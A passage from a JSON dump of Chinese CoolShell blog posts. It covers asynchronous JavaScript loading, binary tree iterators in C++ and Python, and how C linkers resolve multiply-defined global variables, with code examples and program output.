script的defer和async属性\n\n\nIE自从IE6就支持defer标签，如：\n\n\n\n```\n<script defer type=\"text/javascript\" src=\"./alert.js\" >\n</script>\n```\n\n对于IE来说，这个标签会让IE并行下载js文件，并且把其执行hold到了整个DOM装载完毕（DOMContentLoaded），多个defer的<script>在执行时也会按照其出现的顺序来运行。最重要的是<script>被加上defer后，其不会阻塞后续DOM的的渲染。但是因为这个defer只是IE专用，所以一般用得比较少。\n\n\n而我们标准的的HTML5也加入了一个异步载入javascript的属性：async，无论你对它赋什么样的值，只要它出现，它就开始异步加载js文件。但是， async的异步加载会有一个比较严重的问题，那就是它忠实地践行着“载入后马上执行”这条军规，所以，虽然它并不阻塞页面的渲染，但是你也无法控制他执行的次序和时机。你可以[看看这个示例去感受一下](https://coolshell.cn/asyncjs/async_test01.async.html)。\n\n\n支持 async标签的浏览器是：Firefox3.6+，Chrome 8.0+，Safari 5.0+，IE 10+，Opera还不支持（[来自这里](http://caniuse.com/#feat=script-async)）所以这个方法也不是太好。因为并不是所有的浏览器你都能行。\n\n\n#### 动态创建DOM方式\n\n\n这种方式可能是用得最多的了。\n\n\n\n```\n\nfunction loadjs(script_filename) {\n    var script = document.createElement('script');\n    script.setAttribute('type', 'text/javascript');\n    script.setAttribute('src', script_filename);\n    script.setAttribute('id', 'coolshell_script_id');\n\n    script_id = document.getElementById('coolshell_script_id');\n    if(script_id){\n        document.getElementsByTagName('head')[0].removeChild(script_id);\n    }\n    document.getElementsByTagName('head')[0].appendChild(script);\n}\n\nvar script = 'https://coolshell.cn/asyncjs/alert.js';\nloadjs(script);\n\n```\n\n这个方式几乎成了标准的异步载入js文件的方式，这个方式的演示请参看：**[示例三](https://coolshell.cn/asyncjs/async_test03.html)**。这方式还被玩出了JSONP的东东，也就是我可以为script的src指定某个后台的脚本（如PHP），而这个PHP返回一个javascript函数，其参数是一个json的字符串，返回来调用我们的预先定义好的javascript的函数。你可以看一下这个示例：[t.js](https://coolshell.cn/t.js) （这个示例是我之前在微博征集的[一个异步ajax调用的小例子](https://coolshell.cn/t.html)）\n\n\n#### 按需异步载入js\n\n\n上面那个DOM方式的例子解决了异步载入Javascript的问题，但是没有解决我们想让他按我们指定的时机运行的问题。所以，我们只需要把上面那个DOM方式绑到某个事件上来就可以了。\n\n\n比如：\n\n\n**绑在window.load事件上**——**[示例四](https://coolshell.cn/asyncjs/async_test04.html)**\n\n\n你一定要比较一下示例四和示例三在执行上有什么不同，我在这两个示例中都专门用了个代码高亮的javascript，看看那个代码高亮的的脚本的执行和我的alert.js的执行的情况，你就知道不同了）\n\n\n`window.load = loadjs(\"https://coolshell.cn/asyncjs/alert.js\")`\n\n\n**绑在特定的事件上**——**[示例五](https://coolshell.cn/asyncjs/async_test05.html)**\n\n\n`<p style=\"cursor: pointer\" onclick=\"LoadJS()\">Click to load alert.js </p>`\n\n\n这个示例很简单了。当你点击某个DOM元素，才会真正载入我们的alert.js。\n\n\n#### 更多\n\n\n但是，绑定在某个特定事件上这个事似乎又过了一点，因为只有在点击的时候才会去真正的下载js，这又会太慢了了。好了，到这里，要抛出我们的终极问题——**我们想要异步地把js文件下载到用户的本地，但是不执行，仅当在我们想要执行的时候去执行**。\n\n\n要是我们有下面这样的方式就好了：\n\n\n\n```\nvar script = document.createElement(\"script\");\nscript.noexecute = true;\nscript.src = \"alert.js\";\ndocument.body.appendChild(script);\n\n//后面我们可以这么干\nscript.execute();\n```\n\n可惜的是，这只是一个美丽的梦想，今天我们的Javascript还比较原始，这个“JS梦”还没有实现呢。\n\n\n所以，我们的程序员只能使用hack的方式来搞。\n\n\n有的程序员使用了非标准的script的type来cache javascript。如：\n\n\n`<script type=cache/script src=\"./alert.js\"></script>`\n\n\n因为”cache/script”，这个东西根本就不能被浏览器解析，所以浏览器也就不能把alert.js当javascript去执行，但是他又要去下载js文件，所以就可以搞定了。可惜的是，webkit严格符从了HTML的标准——对于这种不认识的东西，直接删除，什么也不干。于是，我们的梦又破了。\n\n\n所以，我们需要再hack一下，就像N多年前玩preload图片那样，我们可以动用object标签（也可以动用iframe标签），于是我们有下面这样的代码：\n\n\n\n```\n    function cachejs(script_filename){\n        var cache = document.createElement('object');\n        cache.data = script_filename;\n        cache.id = \"coolshell_script_cache_id\";\n        cache.width = 0;\n        cache.height = 0;\n        document.body.appendChild(cache);\n    }\n```\n\n然后，我们在的最后调用一下这个函数。请参看一下相关的示例：**[示例六](https://coolshell.cn/asyncjs/async_test06.html)**\n\n\n在Chrome下按 Ctrl+Shit+I，切换到network页，你就可以看到下载了alert.js但是没有执行，然后我们再用示例五的方式，因为浏览器端有缓存了，不会再从服务器上下载alert.js了。所以，就能保证执行速度了。\n\n\n关于这种preload这种东西你应该不会陌生了。你还可以使用Ajax的方式，如：\n\n\n\n```\nvar xhr = new XMLHttpRequest();\nxhr.open('GET', 'new.js');\nxhr.send('');\n```\n\n到这里我就不再多说了，也不给示例了，大家可以自己试试去。\n\n\n最后再提两个js，一个是[ControlJS](http://stevesouders.com/controljs/)，一个叫[HeadJS](http://headjs.com/)，专门用来做异步load javascript文件的。\n\n\n好了，这是所有的内容了，希望大家看过后能对Javascript的载入和执行，以及相关的技术有个了解。**同时，也希望各前端高手不吝赐教！**\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![浏览器的渲染原理简介](../wp-content/uploads/2013/05/Render-Process-150x150.jpg)](https://coolshell.cn/articles/9666.html)[浏览器的渲染原理简介](https://coolshell.cn/articles/9666.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![一次Ajax查错的经历](../wp-content/uploads/2012/08/ajax_error-150x150.jpg)](https://coolshell.cn/articles/8170.html)[一次Ajax查错的经历](https://coolshell.cn/articles/8170.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg](https://coolshell.cn/articles/6043.html)[Web开发中需要了解的东西](https://coolshell.cn/articles/6043.html)\n* [![一些文章资源和趣闻](../wp-content/uploads/2011/11/stackparts.com_-150x150.png)](https://coolshell.cn/articles/5537.html)[一些文章资源和趣闻](https://coolshell.cn/articles/5537.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/4795.html)[开源中最好的Web开发的资源](https://coolshell.cn/articles/4795.html)\nThe post [Javascript 装载和执行](https://coolshell.cn/articles/9749.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2013-7-14 二叉树迭代器算法.md",
    "content": "---\nlayout: post\ntitle: 二叉树迭代器算法\ndate: 2013/7/14/ 3:8:23\nupdated: 2013/7/14/ 3:8:23\nstatus: publish\npublished: true\ntype: post\n---\n\n**（感谢**[@文艺复兴记](http://weibo.com/weidagang)**（todd） 投递此文）**\n\n\n二叉树(Binary Tree)的前序、中序和后续遍历是算法和数据结构中的基本问题，基于递归的二叉树遍历算法更是递归的经典应用。\n\n\n假设二叉树结点定义如下：\n\n\n\n```\n\n// C++\nstruct Node {\n    int value;\n    Node *left;\n    Node *right;\n}\n\n```\n\n中序递归遍历算法：\n\n\n\n```\n\n// C++\nvoid inorder_traverse(Node *node) {\n    if (NULL != node->left) {\n        inorder_traverse(node->left);\n    }\n    do_something(node);\n    if (NULL != node->right) {\n        inorder_traverse(node->right);\n    }\n}\n\n```\n\n前序和后序遍历算法类似。\n\n\n但是，仅有遍历算法是不够的，在许多应用中，我们还需要对遍历本身进行抽象。假如有一个求和的函数sum，我们希望它能应用于链表，数组，二叉树等等不同的数据结构。这时，我们可以抽象出迭代器(Iterator)的概念，通过**迭代器把算法和数据结构解耦了**，使得通用算法能应用于不同类型的数据结构。我们可以把sum函数定义为：\n\n\n\n\n```\n\nint sum(Iterator it)\n\n```\n\n链表作为一种线性结构，它的迭代器实现非常简单和直观，而二叉树的迭代器实现则不那么容易，我们不能直接将递归遍历转换为迭代器。究其原因，这是因为二叉树递归遍历过程是编译器在调用栈上自动进行的，程序员对这个过程缺乏足够的控制。既然如此，那么我们如果可以自己来控制整个调用栈的进栈和出栈不是就达到控制的目的了吗？我们先来看看二叉树遍历的非递归算法：\n\n\n\n```\n\n// C++\nvoid inorder_traverse_nonrecursive(Node *node) {\n    Stack stack;\n    do {\n        // node代表当前准备处理的子树，层层向下把左孩子压栈，对应递归算法的左子树递归\n        while (NULL != node) {\n            stack.push(node);\n            node = node->left;\n        }\n        do {\n            Node *top = stack.top();\n            stack.pop(); //弹出栈顶，对应递归算法的函数返回\n            do_something(top);\n            if (NULL != top->right) {\n                node = top->right; //将当前子树置为刚刚遍历过的结点的右孩子，对应递归算法的右子树递归\n                break;\n            }\n        }\n        while (!stack.empty());\n    }\n    while (!stack.empty());\n}\n\n```\n\n通过基于栈的非递归算法我们获得了对于遍历过程的控制，下面我们考虑如何将其封装为迭代器呢？ 这里关键在于理解遍历的过程是由栈的状态来表示的，所以显然迭代器内部应该包含一个栈结构，每次迭代的过程就是对栈的操作。假设迭代器的接口为：\n\n\n\n```\n\n// C++\nclass Iterator {\n    public:\n        virtual Node* next() = 0;\n};\n\n```\n\n下面是一个二叉树中序遍历迭代器的实现：\n\n\n\n```\n\n//C++\nclass InorderIterator : public Iterator {\n    public:\n        InorderIterator(Node *node) {\n            Node *current = node;\n            while (NULL != current) {\n                mStack.push(current);\n                current = current->left;\n            }\n        }\n        virtual Node* next() {\n            if (mStack.empty()) {\n                return NULL;\n            }\n            Node *top = mStack.top();\n            mStack.pop();\n            if (NULL != top->right) {\n                Node *current = top->right;\n                while (NULL != current) {\n                    mStack.push(current);\n                    current = current->left;\n                }\n            }\n            return top;\n         }\n    private:\n        std::stack<Node*> mStack;\n};\n\n```\n\n下面我们再来考察一下这个迭代器实现的时间和空间复杂度。很显然，由于栈中最多需要保存所有的结点，所以其空间复杂度是O(n)的。那么时间复杂度呢？一次next()调用也最多会进行n次栈操作，而整个遍历过程需要调用n次next()，那么是不是整个迭代器的时间复杂度就是O(n^2)呢？答案是否定的！因为每个结点只会进栈和出栈一次，所以整个迭代过程的时间复杂度依然为O(n)。其实，这和递归遍历的时空复杂度完全一样。\n\n\n除了上面显式利用栈控制代码执行顺序外，在支持yield语义的语言（C#, Python等)中，还有更为直接的做法。下面基于yield的二叉树中序遍历的Python实现：\n\n\n\n```\n\n// Python\ndef inorder(t):\n    if t:\n        for x in inorder(t.left):\n            yield x\n        yield t.label\n        for x in inorder(t.right):\n            yield x\n\n```\n\nyield与return区别的一种通俗解释是yield返回时系统会保留函数调用的状态，下次该函数被调用时会接着从上次的执行点继续执行，这是一种与栈语义所完全不同的流程控制语义。我们知道Python的解释器是C写的，但是C并不支持yield语义，那么解释器是如何做到对yield的支持的呢？ 有了上面把递归遍历变换为迭代遍历的经验，相信你已经猜到Python解释器一定是对yield代码进行了某种变换。如果你已经能够实现递归变非递归，不妨尝试一下能否写一段编译程序将yield代码变换为非yield代码。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\n* [![无锁队列的实现](../wp-content/uploads/2012/09/lock_free_bicycle-150x150.jpg)](https://coolshell.cn/articles/8239.html)[无锁队列的实现](https://coolshell.cn/articles/8239.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg](https://coolshell.cn/articles/6010.html)[一些有意思的算法代码](https://coolshell.cn/articles/6010.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg](https://coolshell.cn/articles/4220.html)[一些有意思的文章和资源](https://coolshell.cn/articles/4220.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg](https://coolshell.cn/articles/3738.html)[打印质数的各种算法](https://coolshell.cn/articles/3738.html)\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\nThe post [二叉树迭代器算法](https://coolshell.cn/articles/9886.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2013-7-21 C语言全局变量那些事儿.md",
    "content": "---\nlayout: post\ntitle: C语言全局变量那些事儿\ndate: 2013/7/21/ 13:16:33\nupdated: 2013/7/21/ 13:16:33\nstatus: publish\npublished: true\ntype: post\n---\n\n**（感谢网友**[**@我的上铺叫路遥**](http://weibo.com/fullofbull)**投稿）**\n\n\n作为一名程序员，如果说沉迷一门编程语言算作一种乐趣的话，那么与此同时反过来去黑一门编程语言就是这种乐趣的升华。今天我们就来黑一把C语言，好好展示一下这门经典语言令人抓狂的一面。\n\n\n我们知道，全局变量是C语言语法和语义中一个很重要的知识点，首先它的存在意义需要从三个不同角度去理解：对于程序员来说，它是一个记录内容的**变量(variable)**；对于编译/链接器来说，它是一个需要解析的**符号(symbol)**；对于计算机来说，它可能是具有地址的一块**内存(memory)**。其次是语法/语义：从作用域上看，带static关键字的全局变量范围只能限定在文件里，否则会外联到整个模块和项目中；从生存期来看，它是静态的，贯穿整个程序或模块运行期间（**注意，正是跨单元访问和持续生存周期这两个特点使得全局变量往往成为一段受攻击代码的突破口，了解这一点十分重要**）；从空间分配上看，定义且初始化的全局变量在编译时在数据段(.data)分配空间，定义但未初始化的全局变量**暂存(tentative definition)**在.bss段，编译时自动清零，而仅仅是声明的全局变量只能算个符号，寄存在编译器的符号表内，不会分配空间，直到链接或者运行时再重定向到相应的地址上。\n\n\n我们将向您展现一下，**非static限定全局变量**在编译/链接以及程序运行时会发生哪些有趣的事情，顺便可以对C编译器/链接器的解析原理管中窥豹。以下示例对ANSI C和GNU C标准都有效，笔者的编译环境是Ubuntu下的GCC-4.4.3。\n\n\n\n#### 第一个例子\n\n\n\n```\n/* t.h */\n#ifndef _H_\n#define _H_\nint a;\n#endif\n\n/* foo.c */\n#include <stdio.h>\n#include \"t.h\"\n\nstruct {\n   char a;\n   int b;\n} b = { 2, 4 };\n\nint main();\n\nvoid foo()\n{\n    printf(\"foo:\\t(&a)=0x%08x\\n\\t(&b)=0x%08x\\n\n        \\tsizeof(b)=%d\\n\\tb.a=%d\\n\\tb.b=%d\\n\\tmain:0x%08x\\n\",\n        &a, &b, sizeof b, b.a, b.b, main);\n}\n\n/* main.c */\n#include <stdio.h>\n#include \"t.h\"\n\nint b;\nint c;\n\nint main()\n{\n    foo();\n    printf(\"main:\\t(&a)=0x%08x\\n\\t(&b)=0x%08x\\n\n        \\t(&c)=0x%08x\\n\\tsize(b)=%d\\n\\tb=%d\\n\\tc=%d\\n\",\n        &a, &b, &c, sizeof b, b, c);\n\treturn 0;\n}\n\n```\n\nMakefile如下：\n\n\n\n```\n\ntest: main.o foo.o\n\tgcc -o test main.o foo.o\n\nmain.o: main.c\nfoo.o: foo.c\n\nclean:\n\trm *.o test\n\n```\n\n运行情况：\n\n\n\n```\n\nfoo:\t(&a)=0x0804a024\n\t(&b)=0x0804a014\n\tsizeof(b)=8\n\tb.a=2\n\tb.b=4\n\tmain:0x080483e4\nmain:\t(&a)=0x0804a024\n\t(&b)=0x0804a014\n\t(&c)=0x0804a028\n\tsize(b)=4\n\tb=2\n\tc=0\n\n```\n\n这个项目里我们定义了四个全局变量，t.h头文件定义了一个整型a，main.c里定义了两个整型b和c并且未初始化，foo.c里定义了一个初始化了的结构体，还定义了一个main的函数指针变量。由于C语言每个源文件单独编译，所以t.h分别包含了两次，所以int a就被定义了两次。两个源文件里变量b和函数指针变量main被重复定义了，实际上可以看做代码段的地址。但编译器并未报错，只给出一条警告：\n\n\n`/usr/bin/ld: Warning: size of symbol 'b' changed from 4 in main.o to 8 in foo.o`\n\n\n运行程序发现，main.c打印中b大小是4个字节，而foo.c是8个字节，因为sizeof关键字是编译时决议，而源文件中对b类型定义不一样。但令人惊奇的是无论是在main.c还是foo.c中，a和b都是相同的地址，也就是说，a和b被定义了两次，b还是不同类型，但内存映像中只有一份拷贝。我们还看到，main.c中b的值居然就是foo.c中结构体第一个成员变量b.a的值，这证实了前面的推断——**即便存在多次定义，内存中只有一份初始化的拷贝。**另外在这里c是置身事外的一个独立变量。\n\n\n为何会这样呢？这涉及到**C编译器对多重定义的全局符号的解析和链接。**在编译阶段，编译器将全局符号信息隐含地编码在可重定位目标文件的符号表里。这里有个**“强符号(strong)”**和**“弱符号(weak)”**的概念——前者指的是定义并且初始化了的变量，比如foo.c里的结构体b，后者指的是未定义或者定义但未初始化的变量，比如main.c里的整型b和c，还有两个源文件都包含头文件里的a。当符号被多重定义时，GNU链接器(ld)使用以下规则决议：\n\n\n* 不允许出现多个相同强符号。\n\n\n* 如果有一个强符号和多个弱符号，则选择强符号。\n\n\n* 如果有多个弱符号，那么先决议到size最大的那个，如果同样大小，则按照链接顺序选择第一个。\n\n\n像上面这个例子中，全局变量a和b存在重复定义。如果我们将main.c中的b初始化赋值，那么就存在两个强符号而违反了规则一，编译器报错。如果满足规则二，则仅仅提出警告，实际运行时决议的是foo.c中的强符号。而变量a都是弱符号，所以只选择一个（按照目标文件链接时的顺序）。\n\n\n事实上，这种规则是C语言里的一个大坑，编译器对这种全局变量多重定义的“纵容”很可能会无端修改某个变量，导致程序不确定行为。如果你还没有意识到事态严重性，我再举个例子。\n\n\n#### 第二个例子\n\n\n\n```\n/* foo.c */\n#include <stdio.h>;\n\nstruct {\n    int a;\n    int b;\n} b = { 2, 4 };\n\nint main();\n\nvoid foo()\n{\n    printf(\"foo:\\t(&b)=0x%08x\\n\\tsizeof(b)=%d\\n\n        \\tb.a=%d\\n\\tb.b=%d\\n\\tmain:0x%08x\\n\",\n        &b, sizeof b, b.a, b.b, main);\n}\n\n/* main.c */\n#include <stdio.h>\n\nint b;\nint c;\n\nint main()\n{\n    if (0 == fork()) {\n        sleep(1);\n        b = 1;\n        printf(\"child:\\tsleep(1)\\n\\t(&b):0x%08x\\n\n            \\t(&c)=0x%08x\\n\\tsizeof(b)=%d\\n\\tset b=%d\\n\\tc=%d\\n\",\n            &b, &c, sizeof b, b, c);\n        foo();\n    } else {\n        foo();\n        printf(\"parent:\\t(&b)=0x%08x\\n\\t(&c)=0x%08x\\n\n            \\tsizeof(b)=%d\\n\\tb=%d\\n\\tc=%d\\n\\twait child...\\n\",\n            &b, &c, sizeof b, b, c);\n        wait(-1);\n        printf(\"parent:\\tchild over\\n\\t(&b)=0x%08x\\n\n            \\t(&c)=0x%08x\\n\\tsizeof(b)=%d\\n\\tb=%d\\n\\tc=%d\\n\",\n            &b, &c, sizeof b, b, c);\n    }\n    return 0;\n}\n```\n\n运行情况如下：\n\n\n\n```\n\nfoo:\t(&b)=0x0804a020\n\tsizeof(b)=8\n\tb.a=2\n\tb.b=4\n\tmain:0x080484c8\nparent:\t(&b)=0x0804a020\n\t(&c)=0x0804a034\n\tsizeof(b)=4\n\tb=2\n\tc=0\n\twait child...\nchild:\tsleep(1)\n\t(&b):0x0804a020\n\t(&c)=0x0804a034\n\tsizeof(b)=4\n\tset b=1\n\tc=0\nfoo:\t(&b)=0x0804a020\n\tsizeof(b)=8\n\tb.a=1\n\tb.b=4\n\tmain:0x080484c8\nparent:\tchild over\n\t(&b)=0x0804a020\n\t(&c)=0x0804a034\n\tsizeof(b)=4\n\tb=2\n\tc=0\n\n```\n\n（说明一点，运行情况是直接输出到stdout的打印，笔者曾经将./test输出重定向到log中，结果发现打印的执行序列不一致，所以采用默认输出。）\n\n\n这是一个**多进程环境**，首先我们看到无论父进程还是子进程，main.c还是foo.c，全局变量b和c的地址仍然是一致的（当然只是个**逻辑地址**），而且对b的大小不同模块仍然有不同的决议。这里值得注意的是，我们在子进程中对变量b进行赋值动作，从此子进程本身包括foo()调用中，整型b以及结构体成员b.a的值都是1，而父进程中整型b和结构体成员b.a的值仍是2，但它们显示的逻辑地址仍是一致的。\n\n\n个人认为可以这样解释，fork创建新进程时，子进程获得了父进程上下文“镜像”（自然包括全局变量），虚拟地址相同但属于不同的进程空间，而且此时真正映射的物理地址中只有一份拷贝，所以b的值是相同的（都是2）。随后子进程对b改写，触发了操作系统的**写时拷贝(copy on write)**机制，这时物理内存中才产生真正的两份拷贝，分别映射到不同进程空间的虚拟地址上，但虚拟地址的值本身仍然不变，这对于应用程序来说是透明的，具有隐瞒性。\n\n\n还有一点值得注意，这个示例编译时没有出现第一个示例的警告，即对变量b的sizeof决议，笔者也不知道为什么，或许是GCC的一个bug？\n\n\n#### 第三个例子\n\n\n这个例子代码同上一个一致，只不过我们将foo.c做成一个静态链接库libfoo.a进行链接，这里只给出Makefile的改动。\n\n\n\n```\n\ntest: main.o foo.o\n\tar rcs libfoo.a foo.o\n\tgcc -static -o test main.o libfoo.a\n\nmain.o: main.c\nfoo.o: foo.c\n\nclean:\n\trm -f *.o test\n\n```\n\n运行情况如下：\n\n\n\n```\n\nfoo:\t(&b)=0x080ca008\n\tsizeof(b)=8\n\tb.a=2\n\tb.b=4\n\tmain:0x08048250\nparent:\t(&b)=0x080ca008\n\t(&c)=0x080cc084\n\tsizeof(b)=4\n\tb=2\n\tc=0\n\twait child...\nchild:\tsleep(1)\n\t(&b):0x080ca008\n\t(&c)=0x080cc084\n\tsizeof(b)=4\n\tset b=1\n\tc=0\nfoo:\t(&b)=0x080ca008\n\tsizeof(b)=8\n\tb.a=1\n\tb.b=4\n\tmain:0x08048250\nparent:\tchild over\n\t(&b)=0x080ca008\n\t(&c)=0x080cc084\n\tsizeof(b)=4\n\tb=2\n\tc=0\n\n```\n\n从这个例子看不出有啥差别，只不过使用**静态链接**后，全局变量加载的地址有所改变，b和c的地址之间似乎相隔更远了些。不过这次编译器倒是给出了变量b的sizeof决议警告。\n\n\n到此为止，有些人可能会对上面的例子嗤之以鼻，觉得这不过是列举了C语言的某些特性而已，算不上黑。有些人认为既然如此，对于一切全局变量要么用static限死，要么定义同时初始化，杜绝弱符号，以便在编译时报错检测出来。只要小心地使用，C语言还是很完美的嘛~对于抱这样想法的人，我只想说，请你在夜深人静的时候竖起耳朵仔细聆听，你很可能听到Dennis Richie在九泉之下邪恶的笑声——不，与其说是嘲笑，不如说是诅咒……\n\n\n#### 第四个例子\n\n\n\n```\n/* foo.c */\n#include <stdio.h>\n\nconst struct {\n    int a;\n    int b;\n} b = { 3, 3 };\n\nint main();\n\nvoid foo()\n{\n    b.a = 4;\n    b.b = 4;\n    printf(\"foo:\\t(&b)=0x%08x\\n\\tsizeof(b)=%d\\n\n        \\tb.a=%d\\n\\tb.b=%d\\n\\tmain:0x%08x\\n\",\n        &b, sizeof b, b.a, b.b, main);\n}\n\n/* t1.c */\n#include <stdio.h>\n\nint b = 1;\nint c = 1;\n\nint main()\n{\n    int count = 5;\n    while (count-- > 0) {\n        t2();\n        foo();\n        printf(\"t1:\\t(&b)=0x%08x\\n\\t(&c)=0x%08x\\n\n            \\tsizeof(b)=%d\\n\\tb=%d\\n\\tc=%d\\n\",\n            &b, &c, sizeof b, b, c);\n        sleep(1);\n    }\n    return 0;\n}\n\n/* t2.c */\n#include <stdio.h>\n\nint b;\nint c;\n\nint t2()\n{\n    printf(\"t2:\\t(&b)=0x%08x\\n\\t(&c)=0x%08x\\n\n        \\tsizeof(b)=%d\\n\\tb=%d\\n\\tc=%d\\n\",\n        &b, &c, sizeof b, b, c);\n    return 0;\n}\n```\n\nMakefile脚本：\n\n\n\n```\nexport LD_LIBRARY_PATH:=.\n\nall: test\n\t./test\n\ntest: t1.o t2.o\n\tgcc -shared -fPIC -o libfoo.so foo.c\n\tgcc -o test t1.o t2.o -L. -lfoo\n\nt1.o: t1.c\nt2.o: t2.c\n\n.PHONY:clean\nclean:\n\trm -f *.o *.so test*\n\n```\n\n执行结果：\n\n\n\n```\n\n./test\nt2:\t(&b)=0x0804a01c\n\t(&c)=0x0804a020\n\tsizeof(b)=4\n\tb=1\n\tc=1\nfoo:\t(&b)=0x0804a01c\n\tsizeof(b)=8\n\tb.a=4\n\tb.b=4\n\tmain:0x08048564\nt1:\t(&b)=0x0804a01c\n\t(&c)=0x0804a020\n\tsizeof(b)=4\n\tb=4\n\tc=4\nt2:\t(&b)=0x0804a01c\n\t(&c)=0x0804a020\n\tsizeof(b)=4\n\tb=4\n\tc=4\nfoo:\t(&b)=0x0804a01c\n\tsizeof(b)=8\n\tb.a=4\n\tb.b=4\n\tmain:0x08048564\nt1:\t(&b)=0x0804a01c\n\t(&c)=0x0804a020\n\tsizeof(b)=4\n\tb=4\n\tc=4\n\t...\n```\n\n其实前面几个例子只是开胃小菜而已，真正的大坑终于出现了！而且这次编译器既没报错也没警告，但我们确实眼睁睁地看到作为main()中强符号的b被改写了，而且一旁的c也“躺枪”了。眼尖的读者发现，这次foo.c是作为动态链接库运行时加载的，当t1第一次调用t2时，libfoo.so还未加载，一旦调用了foo函数，b立马中弹，而且**c的地址居然还相邻着b，这使得c一同中弹了。**不过笔者有些无法解释这种行为的原因，有种说法是强符号的全局变量在数据段中是连续分布的（相应地弱符号暂存在.bss段或者符号表里），或许可以上报GNU的编译器开发小组。\n\n\n另外笔者尝试过将t1.c中的b和c定义前面加上**const限定词**，编译器仍然默认通过，但程序在main()中第一次调用foo()时触发了Segment fault异常导致奔溃，在foo.c里使用指针改写它也一样。**推断这是GCC对const常量所在地址启用了类似操作系统写保护机制，但我无法确定早期版本的GCC是否会让这个const常量被改写而程序不会奔溃。**\n\n\n至于**volatile关键词**之于全局变量，自测似乎没有影响。\n\n\n怎么样？看了最后一个例子是否有点“不明觉厉”呢？C语言在你心目中是否还是当初那个“纯洁”、“干净”、“行为一致”的姑娘呢？也许趁着你不注意的时候她会偷偷给你戴顶绿帽，这一切都是通过全局变量，特别在动态链接的环境下，就算全部定义成强符号仍然无法为编译器所察觉。而一些IT界“恐怖分子”也经常**将恶意代码包装成全局变量注入到root权限下存在漏洞的操作序列中，**就像著名的栈溢出攻击那样。某一天当你傻傻地看着一个程序出现未定义的行为却无法定位原因的时候，请不要忘记Richie大爷那来自九泉之下最深沉的“问候”~\n\n\n或许有些人会偷换概念，把这一切归咎于编译器和链接器身上，认为这同语言无关，但我要提醒你，正是编译/链接器的行为支撑了整个语言的语法和语义。你可以反过来思考一下为何C的胞弟C++推出**“命名空间(namespace)”**的概念，或者你可以使用其它高级语言，对于重定义的全局变量是否能通过编译这一关。\n\n\n所以请时刻谨记，**C是一门很恐怖的语言！**\n\n\nP.S.题外话写在最后。我无意挑起语言之争，只是就事论事地去**“黑(hack)****”**一门语言而已，而且要黑就要黑得有理有力有层次，还要带点娱乐精神。其实黑一门语言并非什么尖端复杂的技术，个人觉得起码要做到两点：\n\n\n* **亲自动手写测试程序。**动手写测试程序是开发人员必备的基础技能，只有现成的代码才能让人心服口服，那些只会停留在口头上的争论只能算作cheap hack。\n\n\n* **测试程序不能依赖于不成熟的代码。**软件开发99%以上的bug都是基于不合格(substandard)开发人员导致，这并不能怪罪于语言以及编译器本身。使用诸如#define TRUE FALSE或者#define NULL 1之类的trick来黑C语言只能证明此人很有娱乐精神而不是真正的”hack value”，拿老北京梨园行当里的一句话——“那是下三滥的玩意儿”。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\n* [![State Threads 回调终结者](../wp-content/uploads/2014/10/edsm-150x150.gif)](https://coolshell.cn/articles/12012.html)[State Threads 回调终结者](https://coolshell.cn/articles/12012.html)\n* [![C语言的整型溢出问题](../wp-content/uploads/2014/04/c99-150x150.jpg)](https://coolshell.cn/articles/11466.html)[C语言的整型溢出问题](https://coolshell.cn/articles/11466.html)\nThe post [C语言全局变量那些事儿](https://coolshell.cn/articles/10115.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2013-7-22 类型的本质和函数式实现.md",
